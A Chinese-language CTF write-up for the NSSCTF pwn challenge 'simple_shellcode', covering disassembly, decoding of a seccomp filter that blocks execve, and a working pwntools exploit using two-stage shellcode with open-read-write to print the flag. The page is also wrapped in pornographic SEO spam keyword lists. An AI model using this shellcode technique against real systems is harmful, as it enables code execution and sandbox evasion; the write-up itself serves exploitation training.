<output id="qn6qe"></output>

    1. <output id="qn6qe"><tt id="qn6qe"></tt></output>
    2. <strike id="qn6qe"></strike>

      亚洲 日本 欧洲 欧美 视频,日韩中文字幕有码av,一本一道av中文字幕无码,国产线播放免费人成视频播放,人妻少妇偷人无码视频,日夜啪啪一区二区三区,国产尤物精品自在拍视频首页,久热这里只有精品12

      NSSCTF-Pwn-[HGAME 2023 week1]simple_shellcode

      一、題目來源

      NSSCTF-Pwn-[HGAME 2023 week1]simple_shellcode

      image

      二、信息搜集

      image-1

      發現是一個 64 位的 ELF 文件,并且保護措施基本上開全了。

      三、反匯編文件開始分析

      程序首先用 mmap 在虛擬內存上開辟了一片空間,該空間的訪問控制權限為“可讀-可寫-可執行”(因為 prot 參數的值為 7):

      .text:0000000000001336                                   buf= qword ptr -8
      …………
      .text:0000000000001355 018 41 B9 00 00 00 00             mov     r9d, 0                          ; offset
      .text:000000000000135B 018 41 B8 FF FF FF FF             mov     r8d, 0FFFFFFFFh                 ; fd
      .text:0000000000001361 018 B9 21 00 00 00                mov     ecx, 21h ; '!'                  ; flags
      .text:0000000000001366 018 BA 07 00 00 00                mov     edx, 7                          ; prot
      .text:000000000000136B 018 BE 00 10 00 00                mov     esi, 1000h                      ; len
      .text:0000000000001370 018 BF 00 00 FE CA                mov     edi, 0CAFE0000h                 ; addr
      .text:0000000000001375 018 B8 00 00 00 00                mov     eax, 0
      .text:000000000000137A 018 E8 41 FD FF FF                call    _mmap
      

      接著,程序調用 read 函數:

      .text:000000000000138B 018 48 8B 45 F8                   mov     rax, [rbp+buf]
      .text:000000000000138F 018 BA 10 00 00 00                mov     edx, 10h                        ; nbytes
      .text:0000000000001394 018 48 89 C6                      mov     rsi, rax                        ; buf
      .text:0000000000001397 018 BF 00 00 00 00                mov     edi, 0                          ; fd
      .text:000000000000139C 018 B8 00 00 00 00                mov     eax, 0
      .text:00000000000013A1 018 E8 2A FD FF FF                call    _read
      

      需要注意的是:這里的 read 的第二個參數和以往我們看到的不太一樣,這里使用的是 mov 指令而不是 lea指令。

      這也就意味著,我們真正寫入 rsi 的是地址 0xcafe00000 也就是我們之前開辟的那片虛擬內存的首址。

      因此,這個和棧溢出可以說的八竿子打不著了,我們接著分析。

      然后,我們就可以看到本程序所使用的沙箱:

      .text:00000000000013A6 018 B8 00 00 00 00                mov     eax, 0
      .text:00000000000013AB 018 E8 9E FE FF FF                call    sandbox
      
      .text:000000000000124E                                   public sandbox
      .text:000000000000124E                                   sandbox proc near                       ; CODE XREF: main+75↓p
      .text:000000000000124E
      .text:000000000000124E                                   var_40= qword ptr -40h
      .text:000000000000124E                                   var_38= qword ptr -38h
      .text:000000000000124E                                   var_30= word ptr -30h
      .text:000000000000124E                                   var_2E= byte ptr -2Eh
      .text:000000000000124E                                   var_2D= byte ptr -2Dh
      .text:000000000000124E                                   var_2C= dword ptr -2Ch
      .text:000000000000124E                                   var_28= word ptr -28h
      .text:000000000000124E                                   var_26= byte ptr -26h
      .text:000000000000124E                                   var_25= byte ptr -25h
      .text:000000000000124E                                   var_24= dword ptr -24h
      .text:000000000000124E                                   var_20= word ptr -20h
      .text:000000000000124E                                   var_1E= byte ptr -1Eh
      .text:000000000000124E                                   var_1D= byte ptr -1Dh
      .text:000000000000124E                                   var_1C= dword ptr -1Ch
      .text:000000000000124E                                   var_18= word ptr -18h
      .text:000000000000124E                                   var_16= byte ptr -16h
      .text:000000000000124E                                   var_15= byte ptr -15h
      .text:000000000000124E                                   var_14= dword ptr -14h
      .text:000000000000124E                                   var_10= word ptr -10h
      .text:000000000000124E                                   var_E= byte ptr -0Eh
      .text:000000000000124E                                   var_D= byte ptr -0Dh
      .text:000000000000124E                                   var_C= dword ptr -0Ch
      .text:000000000000124E                                   var_8= qword ptr -8
      .text:000000000000124E
      .text:000000000000124E                                   ; __unwind {
      .text:000000000000124E 000 F3 0F 1E FA                   endbr64
      .text:0000000000001252 000 55                            push    rbp
      .text:0000000000001253 008 48 89 E5                      mov     rbp, rsp
      .text:0000000000001256 008 48 83 EC 40                   sub     rsp, 40h
      .text:000000000000125A 048 64 48 8B 04 25 28 00 00 00    mov     rax, fs:28h
      .text:0000000000001263 048 48 89 45 F8                   mov     [rbp+var_8], rax
      .text:0000000000001267 048 31 C0                         xor     eax, eax
      .text:0000000000001269 048 66 C7 45 D0 20 00             mov     [rbp+var_30], 20h ; ' '
      .text:000000000000126F 048 C6 45 D2 00                   mov     [rbp+var_2E], 0
      .text:0000000000001273 048 C6 45 D3 00                   mov     [rbp+var_2D], 0
      .text:0000000000001277 048 C7 45 D4 00 00 00 00          mov     [rbp+var_2C], 0
      .text:000000000000127E 048 66 C7 45 D8 15 00             mov     [rbp+var_28], 15h
      .text:0000000000001284 048 C6 45 DA 02                   mov     [rbp+var_26], 2
      .text:0000000000001288 048 C6 45 DB 00                   mov     [rbp+var_25], 0
      .text:000000000000128C 048 C7 45 DC 3B 00 00 00          mov     [rbp+var_24], 3Bh ; ';'
      .text:0000000000001293 048 66 C7 45 E0 15 00             mov     [rbp+var_20], 15h
      .text:0000000000001299 048 C6 45 E2 01                   mov     [rbp+var_1E], 1
      .text:000000000000129D 048 C6 45 E3 00                   mov     [rbp+var_1D], 0
      .text:00000000000012A1 048 C7 45 E4 42 01 00 00          mov     [rbp+var_1C], 142h
      .text:00000000000012A8 048 66 C7 45 E8 06 00             mov     [rbp+var_18], 6
      .text:00000000000012AE 048 C6 45 EA 00                   mov     [rbp+var_16], 0
      .text:00000000000012B2 048 C6 45 EB 00                   mov     [rbp+var_15], 0
      .text:00000000000012B6 048 C7 45 EC 00 00 FF 7F          mov     [rbp+var_14], 7FFF0000h
      .text:00000000000012BD 048 66 C7 45 F0 06 00             mov     [rbp+var_10], 6
      .text:00000000000012C3 048 C6 45 F2 00                   mov     [rbp+var_E], 0
      .text:00000000000012C7 048 C6 45 F3 00                   mov     [rbp+var_D], 0
      .text:00000000000012CB 048 C7 45 F4 00 00 00 00          mov     [rbp+var_C], 0
      .text:00000000000012D2 048 66 C7 45 C0 05 00             mov     word ptr [rbp+var_40], 5
      .text:00000000000012D8 048 48 8D 45 D0                   lea     rax, [rbp+var_30]
      .text:00000000000012DC 048 48 89 45 C8                   mov     [rbp+var_38], rax
      .text:00000000000012E0 048 41 B8 00 00 00 00             mov     r8d, 0
      .text:00000000000012E6 048 B9 00 00 00 00                mov     ecx, 0
      .text:00000000000012EB 048 BA 00 00 00 00                mov     edx, 0
      .text:00000000000012F0 048 BE 01 00 00 00                mov     esi, 1
      .text:00000000000012F5 048 BF 26 00 00 00                mov     edi, 26h ; '&'                  ; option
      .text:00000000000012FA 048 B8 00 00 00 00                mov     eax, 0
      .text:00000000000012FF 048 E8 DC FD FF FF                call    _prctl
      .text:00000000000012FF
      .text:0000000000001304 048 48 8D 45 C0                   lea     rax, [rbp+var_40]
      .text:0000000000001308 048 48 89 C2                      mov     rdx, rax
      .text:000000000000130B 048 BE 02 00 00 00                mov     esi, 2
      .text:0000000000001310 048 BF 16 00 00 00                mov     edi, 16h                        ; option
      .text:0000000000001315 048 B8 00 00 00 00                mov     eax, 0
      .text:000000000000131A 048 E8 C1 FD FF FF                call    _prctl
      .text:000000000000131A
      .text:000000000000131F 048 90                            nop
      .text:0000000000001320 048 48 8B 45 F8                   mov     rax, [rbp+var_8]
      .text:0000000000001324 048 64 48 33 04 25 28 00 00 00    xor     rax, fs:28h
      .text:000000000000132D 048 74 05                         jz      short locret_1334
      .text:000000000000132D
      .text:000000000000132F 048 E8 7C FD FF FF                call    ___stack_chk_fail
      .text:000000000000132F
      .text:0000000000001334                                   ; ---------------------------------------------------------------------------
      .text:0000000000001334
      .text:0000000000001334                                   locret_1334:                            ; CODE XREF: sandbox+DF↑j
      .text:0000000000001334 048 C9                            leave
      .text:0000000000001335 000 C3                            retn
      .text:0000000000001335                                   ; } // starts at 124E
      .text:0000000000001335
      .text:0000000000001335                                   sandbox endp
      

      為了理解 sandbox,需要理解一下函數 prctl

      函數原型:

      #include <sys/prctl.h>
      #include <linux/prctl.h>
      
      int prctl(int option, unsigned long arg2, unsigned long arg3,
                unsigned long arg4, unsigned long arg5);
      

      和其他函數有所區別的是,該函數所需要的參數即 arg2..arg5 是取決于第一個參數即 option 的,而 option 的可選項是很多的,下面我貼出的是本題所用到的兩個 option

      option = 0x26 = PR_SET_NO_NEW_PRIVS

      • 含義:開啟 no_new_privs 標志后,該進程及其子孫再也不能通過 execve 獲得更高權限(例如 setuid 程序不再提權、文件能力不再生效)。
      • 用途:裝載 seccomp 過濾器時的常見前置條件(避免“先降低再抬高”的逃逸)。
      • 范圍:繼承到子進程(fork/exec)。

      option = 0x16 = PR_SET_SECCOMP

      • 含義:為當前進程啟用 seccomp-BPF 過濾;arg3 指向 struct sock_fprog,里面是一組 classic BPF 指令(你題里的 5 條),用來判定每個系統調用是允許/拒絕/殺進程/返回特定 errno 等。
      • 典型動作碼RETk 值):
        • SECCOMP_RET_ALLOW(放行)
        • SECCOMP_RET_KILL_PROCESS(直接殺掉當前進程)
        • SECCOMP_RET_TRAP(向用戶態發 SIGSYS
        • SECCOMP_RET_ERRNO | (errno & 0xFFFF)(讓該系統調用以指定 errno 失敗)
        • SECCOMP_RET_TRACESECCOMP_RET_USER_NOTIF(配合 ptrace / 用戶態通知框架)
      • 要求:通常在設置前需要 no_new_privs=1(或有 CAP_SYS_ADMIN 且系統允許的策略),否則 EINVAL/EPERM。$\Leftarrow$這是為什么本題會采用兩個 prctl 的原因

      其中提到的 classic BPF(cBPF) 指令指的是最早一代的 32-位“小虛擬機”指令集,它只有兩個寄存器 A(累加器)和 X(索引),再加 16 個 scratch 內存槽 M[0..15]。Linux 的 seccomp-BPF 復用了這套 cBPF 指令來寫“系統調用過濾器”(鑒別每次 syscall 是允許、拒絕、殺進程、返回 errno 等)。

      cBPF 的每一條指令是一個 sock_filter,包含 4 個字段:

      struct sock_filter {
        __u16 code;  // 指令編碼(類/大小/來源/操作)
        __u8  jt;    // 條件為真跳過的指令數 (jump-if-true)
        __u8  jf;    // 條件為假跳過的指令數 (jump-if-false)
        __u32 k;     // 立即數 / 偏移 / 返回值(視指令而定)
      };
      

      在題目中對應的部分就是那一大塊 mov 指令:

      .text:0000000000001269 048 66 C7 45 D0 20 00             mov     [rbp+var_30], 20h ; ' '
      .text:000000000000126F 048 C6 45 D2 00                   mov     [rbp+var_2E], 0
      .text:0000000000001273 048 C6 45 D3 00                   mov     [rbp+var_2D], 0
      .text:0000000000001277 048 C7 45 D4 00 00 00 00          mov     [rbp+var_2C], 0
      .text:000000000000127E 048 66 C7 45 D8 15 00             mov     [rbp+var_28], 15h
      .text:0000000000001284 048 C6 45 DA 02                   mov     [rbp+var_26], 2
      .text:0000000000001288 048 C6 45 DB 00                   mov     [rbp+var_25], 0
      .text:000000000000128C 048 C7 45 DC 3B 00 00 00          mov     [rbp+var_24], 3Bh ; ';'
      .text:0000000000001293 048 66 C7 45 E0 15 00             mov     [rbp+var_20], 15h
      .text:0000000000001299 048 C6 45 E2 01                   mov     [rbp+var_1E], 1
      .text:000000000000129D 048 C6 45 E3 00                   mov     [rbp+var_1D], 0
      .text:00000000000012A1 048 C7 45 E4 42 01 00 00          mov     [rbp+var_1C], 142h
      .text:00000000000012A8 048 66 C7 45 E8 06 00             mov     [rbp+var_18], 6
      .text:00000000000012AE 048 C6 45 EA 00                   mov     [rbp+var_16], 0
      .text:00000000000012B2 048 C6 45 EB 00                   mov     [rbp+var_15], 0
      .text:00000000000012B6 048 C7 45 EC 00 00 FF 7F          mov     [rbp+var_14], 7FFF0000h
      .text:00000000000012BD 048 66 C7 45 F0 06 00             mov     [rbp+var_10], 6
      .text:00000000000012C3 048 C6 45 F2 00                   mov     [rbp+var_E], 0
      .text:00000000000012C7 048 C6 45 F3 00                   mov     [rbp+var_D], 0
      .text:00000000000012CB 048 C7 45 F4 00 00 00 00          mov     [rbp+var_C], 0
      

      解碼后的 5 條 BPF 指令如下(按內存從 var_30var_10 的順序即從低到高的排序):

      1. LD W ABS 0

        { code=0x20, jt=0, jf=0, k=0 }    // BPF_LD | BPF_W | BPF_ABS, 從 seccomp_data 結構偏移0處加載 syscall 編號
        

        將當前系統調用號裝載到累加器 A。

      2. JEQ 59, jt=2, jf=0

        { code=0x15, jt=2, jf=0, k=59 }   // 59 = __NR_execve (x86_64)
        

        如果 syscall == 59 (execve),跳過后面兩條指令(即跳到第5條)。

      3. JEQ 0x142, jt=1, jf=0

        { code=0x15, jt=1, jf=0, k=0x142 } // 0x142 = 322 = __NR_execveat (x86_64)
        

        如果 syscall == 322 (execveat),跳過后一條指令(也跳到第5條)。

      4. RET ALLOW

        { code=0x06, jt=0, jf=0, k=0x7FFF0000 } // SECCOMP_RET_ALLOW
        

        上述兩條件都不滿足(不是 execve/execveat)→ 允許該系統調用。

      5. RET KILL

        { code=0x06, jt=0, jf=0, k=0x00000000 } // SECCOMP_RET_KILL (KILL_PROCESS)
        

        命中第2或第3條跳轉來到這里 → 直接殺掉進程。

      這也就說明了,本題不允許使用的系統調用:

      • execve
      • execveat

      當然,這一部分的分析也可以交給 AI 來快速處理:

      image-20251103094712059

      沙盒之后,就出現一個關鍵點:

      .text:00000000000013B0 018 48 8B 55 F8                   mov     rdx, [rbp+buf]
      .text:00000000000013B4 018 B8 00 00 00 00                mov     eax, 0
      .text:00000000000013B9 018 FF D2                         call    rdx
      

      還記得我們一開始看到的 mmap 開辟的虛擬內存空間嗎,那塊的首地址就存在在 [rbp+buf] 當中,依據:

      .text:000000000000134C 018 B8 00 00 FE CA                mov     eax, 0CAFE0000h
      .text:0000000000001351 018 48 89 45 F8                   mov     [rbp+buf], rax
      

      那么,如果我們能向地址 0xcafe0000 寫入 shellcode,然后通過 call 一調用,就可以獲取到 flag 了。

      四、思路匯總

      首先,我們整理一下有用的信息:

      • 有一塊可讀可寫可執行的虛擬內存,并且能向其中寫入 0x10B 的數據;
      • call 指令;
      • 存在沙盒,不允許使用 execveexecveat

      這么一聯系,我們就可以知道本題的難點在于:

      1. shellcode 的長度被限制;
      2. 沙盒保護。

      因此,我們的思路就是,先寫入較短的 shellcode 實現再次寫入且將寫入的長度限制給放開,然后再寫入較長的 shellcode 來獲取 flag 且該 shellcode 需要符合沙盒要求。

      五、Poc 構造

      from pwn import *
      
      exe = ELF("./vuln_patched")
      libc = ELF("./libc-2.31.so")
      ld = ELF("./ld-2.31.so")
      
      context.binary = exe
      context(arch="amd64",os="linux",log_level="debug")
      
      
      def conn():
          if args.LOCAL:
              r = process([exe.path])
              if args.DEBUG:
                  gdb.attach(r)
          else:
              r = remote("node5.anna.nssctf.cn",25836)
      
          return r
      
      
      def main():
          p = conn()
      
          shellcode = asm('''
          mov rdi, rax;
          mov rsi, rdx;
          add rsi, 0x10;
          syscall;
          call rsi;
          ''')
      
          p.sendafter(b'Please input your shellcode:',shellcode)
          
          shellcode = asm(shellcraft.open("/flag")+shellcraft.read(3,0xcafe0010,0x50)+shellcraft.write(1,0xcafe0010,0x50))
      
          p.send(shellcode)
          p.interactive()
      
      
      if __name__ == "__main__":
          main()
      

      一步步分析,我們對第一次 shellcode 的要求就兩個:

      • 簡短
      • 實現再次寫入

      程序已經非常貼心地為我們準備了兩行指令:

      .text:00000000000013B0 018 48 8B 55 F8                   mov     rdx, [rbp+buf]
      .text:00000000000013B4 018 B8 00 00 00 00                mov     eax, 0
      

      eax 中已經存放了 read 系統調用的系統調用號,rdx 中已經存放了我們要寫入的位置即 0xcafe0000

      因此,為了實現再次 read,我們只需要:

          mov rdi, rax;
          mov rsi, rdx;
          add rsi, 0x10;
          syscall;
      

      這里還將寫入位置進行了“加 0x10”的操作,是為了保護本輪的 shellcode不被后續的 shellcode 破壞。

      可是,寫入完成之后,我們就已經用完了 call 指令,那么后續還需要執行新的 shellcode 怎么做到呢?

      沒錯,就像構造 ROP 一樣,我們再后面跟上一條:

       call rsi;
      

      此時 rsi 中存放的依舊是地址 0xcafe0000,但是其中的內容已經通過第二次 read 修改成新的 shellcode 了。

      我們可以檢查一下 shellcode 的長度,我跑出來是 14,剛好滿足小于 16。

      后續,我們為了避免被沙盒過濾,采用 ORW 的方式來繞過。

      當然,也可以直接使用:

      shellcode = asm(shellcraft.cat("/flag"))
      

      來替換,因為 shellcraft.cat("/flag") 生成的 shellcode 使用的是“Open + Sendfile”的組合,也不會被沙盒過濾。

      最終本地執行效果:

      image-20251103110240978

      成功拿到 flag。

      posted @ 2025-11-03 11:07  YouDiscovered1t  閱讀(9)  評論(0)    收藏  舉報
      主站蜘蛛池模板: 人成午夜免费大片| 久久99国产乱子伦精品免费| 四虎网址| 欧美叉叉叉bbb网站| 日韩成人一区二区二十六区| 久久蜜臀av一区三区| 99久热在线精品视频| av色蜜桃一区二区三区| 亚洲一区三区三区成人久| 狂躁女人双腿流白色液体| 99精品热在线在线观看视| 自拍偷自拍亚洲一区二区| 国产精品综合av一区二区国产馆| 国产h视频在线观看| 国产一区二区视频在线看| 亚洲色在线V中文字幕| 江口县| 开心激情站一区二区三区| 国产破外女出血视频| 国产人妇三级视频在线观看| 中国CHINA体内裑精亚洲日本| 亚洲欧洲日产国产 最新| 婷婷四虎东京热无码群交双飞视频| 九九热免费精品在线视频| 一区二区三区av天堂| 亚洲精品一区二区三区蜜臀| 国产成人无码精品亚洲| 亚洲一区三区三区成人久| 中文成人在线| 亚洲国产制服丝袜高清在线| 精品日韩人妻中文字幕| 亚洲婷婷综合色高清在线| 国产综合视频一区二区三区 | 亚洲精品国产综合麻豆久久99 | 亚洲v欧美v日韩v国产v| 亚洲综合在线日韩av| 少妇宾馆粉嫩10p| 综合激情网一区二区三区| 虎白女粉嫩尤物福利视频| 亚洲精品无amm毛片| 国产精品午夜福利在线观看|